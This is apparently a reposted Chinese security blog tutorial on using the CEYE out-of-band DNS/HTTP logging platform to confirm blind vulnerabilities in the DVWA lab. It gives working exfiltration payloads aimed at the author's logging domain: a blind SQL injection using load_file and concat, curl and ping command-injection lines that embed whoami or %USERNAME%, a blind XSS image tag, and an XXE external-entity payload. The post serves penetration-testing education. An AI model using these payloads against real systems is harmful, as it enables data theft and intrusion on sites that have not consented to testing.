zoukankan      html  css  js  c++  java
  • 33. 注入信息无回显?(给盲注戴上眼镜)

    注入信息无回显?(给盲注戴上眼镜)

    工具简介:

    平常的漏洞检测或漏洞利用需要进一步的用户或系统交互。但是一些漏洞类型没有直接表明攻击是成功的。如Payload触发了却不在前端页面显示。(像ssrf,XXE,包括SQL盲注),这样就无法确认漏洞存在。

    这时候推荐使用CEYE平台。CEYE是一个用来检测带外(Out-of-Band)流量的监控平台,如DNS查询和HTTP请求。因为DNS在解析的时候会留下日志,咱们这个就是读取多级域名的解析日志,来获取信息,简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志

    例如我们自己的域名是:bmjoker.org
    那么我们把信息放在二级域名处,xxxx.bmjoker.org
    想方法发起这个域名解析请求,那么那边就能收到xxxx这个信息了。

    在注册页面注册后,会分给用户一个三级域名,你把信息写在第四级域名上就好了
    例如我这里直接浏览器访问:bmjoker.wi0j1m.ceye.io

    登录 CEYE.IO,在用户详情页(http://ceye.io/profile)可以看到自己的域名标识符 identifier,对于每个用户,都有唯一的域名标识符如 xxxx.ceye.io 。所有来自于 xxxx.ceye.io*.xxxxx.ceye.io 的 DNS查询和HTTP请求都会被记录。通过查看这些记录信息,安全研究人员可以确认并改进自己的漏洞研究方案。

     

    通过DNS带外信道检测 Blind Payload 的执行情况

    DNS查询可以以多种不同的方式进行解析。CEYE.IO平台提供了一台DNS Server来解析域名。它的 nameserver address 被设置为自己的服务器IP,因此所有关于ceye.io 的域名的DNS查询最终都会被发送到CEYE的DNS服务器。

    例如,在终端中使用 nslookup:

    发现在DNS Query中顺利记录了我们的DNS查询信息,可以通过搜索框,搜索并导出需要的结果,导出格式为 JSON 。

    另外,CEYE.IO平台拥有自己的HTTP服务器,记录用户域名的所有请求:

    在DNS Query中记录了我们的DNS查询信息

    在后端,CEYE.IO平台将记录客户端的IP地址,请求的URL,客户端环境的用户代理等。您可以在HTTP请求页面中找到详细信息:

    在Linux上命令:

    curl http://ip.port.xxxxx.ceye.io/`whoami` 
    
    ping `whoami`.ip.port.xxxxx.ceye.io 

    在windows上命令:

    ping %USERNAME%.xxxxx.ceye.io

    这里顺便给出windows常用变量:

    //变量                     类型       描述
    //%ALLUSERSPROFILE%        本地       返回“所有用户”配置文件的位置。
    //%APPDATA%                本地       返回默认情况下应用程序存储数据的位置。
    //%CD%                     本地       返回当前目录字符串。
    //%CMDCMDLINE%             本地       返回用来启动当前的 Cmd.exe 的准确命令行。
    //%CMDEXTVERSION%          系统       返回当前的“命令处理程序扩展”的版本号。
    //%COMPUTERNAME%           系统       返回计算机的名称。
    //%COMSPEC%                系统       返回命令行解释器可执行程序的准确路径。
    //%DATE%                   系统       返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。
    //%ERRORLEVEL%             系统       返回上一条命令的错误代码。通常用非零值表示错误。
    //%HOMEDRIVE%              系统       返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
    //%HOMEPATH%               系统       返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
    //%HOMESHARE%              系统       返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
    //%LOGONSERVER%            本地       返回验证当前登录会话的域控制器的名称。
    //%NUMBER_OF_PROCESSORS%   系统       指定安装在计算机上的处理器的数目。
    //%OS%                     系统       返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。
    //%PATH%                   系统       指定可执行文件的搜索路径。
    //%PATHEXT%                系统       返回操作系统认为可执行的文件扩展名的列表。
    //%PROCESSOR_ARCHITECTURE% 系统       返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。
    //%PROCESSOR_IDENTFIER%    系统       返回处理器说明。
    //%PROCESSOR_LEVEL%        系统       返回计算机上安装的处理器的型号。
    //%PROCESSOR_REVISION%     系统       返回处理器的版本号。
    //%PROMPT%                 本地       返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。
    //%RANDOM%                 系统       返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。
    //%SYSTEMDRIVE%            系统       返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。
    //%SYSTEMROOT%             系统       返回 Windows server operating system 根目录的位置。
    //%TEMP%和%TMP%            系统和用户  返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。
    //%TIME%                   系统       返回当前时间。使用与                                                                                   time       /t                                                                     命令相同的格式。由         Cmd.exe                  生成。有关                       time   命令的详细信息,请参阅 Time。
    //%USERDOMAIN%             本地       返回包含用户帐户的域的名称。
    //%USERNAME%               本地       返回当前登录的用户的名称。
    //%USERPROFILE%            本地       返回当前用户的配置文件的位置。
    //%WINDIR%                 系统       返回操作系统目录的位置。

    具体CEYE平台使用方法请看:https://www.cnblogs.com/zhaijiahui/p/9160913.html

    demo例子演示:

    1.dvwa sql盲注测试

    详细注入过程请看我之前发布的文章:https://www.cnblogs.com/bmjoker/p/8797968.html

    这里主要讲解CEYE平台在sql盲注中的使用,由于需要使用load_file()函数,所以一般得是root权限。先查看load_file()可以读取的磁盘:

     

    1、当secure_file_priv为空,就可以读取磁盘的目录。

    2、当secure_file_priv为G:,就可以读取G盘的文件。

    3、当secure_file_priv为null,load_file就不能加载文件。

    通过设置my.ini来配置。secure_file_priv=""就是可以load_flie任意磁盘的文件。

    在mysql命令行执行:select load_file('\\bmjoker.wi0j1m.ceye.io\aaa');其中bmjoker就是要注入的查询语句:

    发现我们的DNS log已经被记录下来。

    然后打开dvwa的盲注环节:

    这里存在SQL注入,不过是盲注,无法获得详细信息,需要我们发送大量get请求,来一位一位猜解数据库表,由于大量发送恶意流量,防火墙有时候还会把ip给ban。

    然后我们构造注入payload:

    1' and if((select load_file(concat('\\',(select database()),'.wi0j1m.ceye.io\abc'))),1,1)--+

    运行时明显感觉有迟缓:

    看一下平台记录:

    可以看到DNS log已经记录下我们的注入数据。

    我们用同样的方法get数据表:

    通过修改 limit 0,1 可以获得数据表:

    2.dvwa 命令执行

    发现现实中像命令执行,一般结果都不会输出出来,无法确认到底是否存在漏洞。

    dvwa命令注入完全版可以看我以前写的:https://www.cnblogs.com/bmjoker/p/9084884.html

    由于我的系统是windows,所以 ping %USERNAME%.xxxxx.ceye.io ,linux的话上面有介绍。

    我这里直接在命令框中输入:

    提交后发现DNS log平台上已经有了记录:

    如果在linux:

    发现我们DNS log成功收到:

    3.XSS(无回显)

    通过盲打,让触发者浏览器访问预设至的链接地址,如果盲打成功,会在平台上收到如下的链接访问记录:

    payload:

    "><img src=http://xss.xxxx.ceye.io/bmjoker>

    让src请求我们的dnslog平台,我这里拿dvwa的反射性xss做演示:

    回看我们的DNS log平台:

    已经收到了请求,所以dns已经被解析。

    5.SSRF(无回显)

    构造payload,来做内网端口探测:

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE root [
    <!ENTITY % remote SYSTEM "http://ip.port.b182oj.ceye.io/xxe_test">
    %remote;]>
    <root/>

    ---------------

    感觉这个平台挺有用的,能总结和需要总结的东西实在太多了,这次就先写这么一点吧。

    参考链接:

    http://ceye.io/

    http://blog.knownsec.com/2016/06/how-to-scan-and-check-vulnerabilities/

    https://www.cnblogs.com/afanti/p/8047530.html

    https://bbs.ichunqiu.com/thread-22002-1-1.html

  • 相关阅读:
    Oracle中的exist和in
    oracle恢复误删数据
    【axios】API 说明
    Content-type对照表
    【gdal】创建GeoTiff栅格数据
    NPM使用
    【nodejs】request 和 response 对象
    【nodejs】express框架+mysql后台数据查询
    webapp网络定位
    JS对象创建的几种方法
  • 原文地址:https://www.cnblogs.com/bmjoker/p/9973518.html
Copyright © 2011-2022 走看看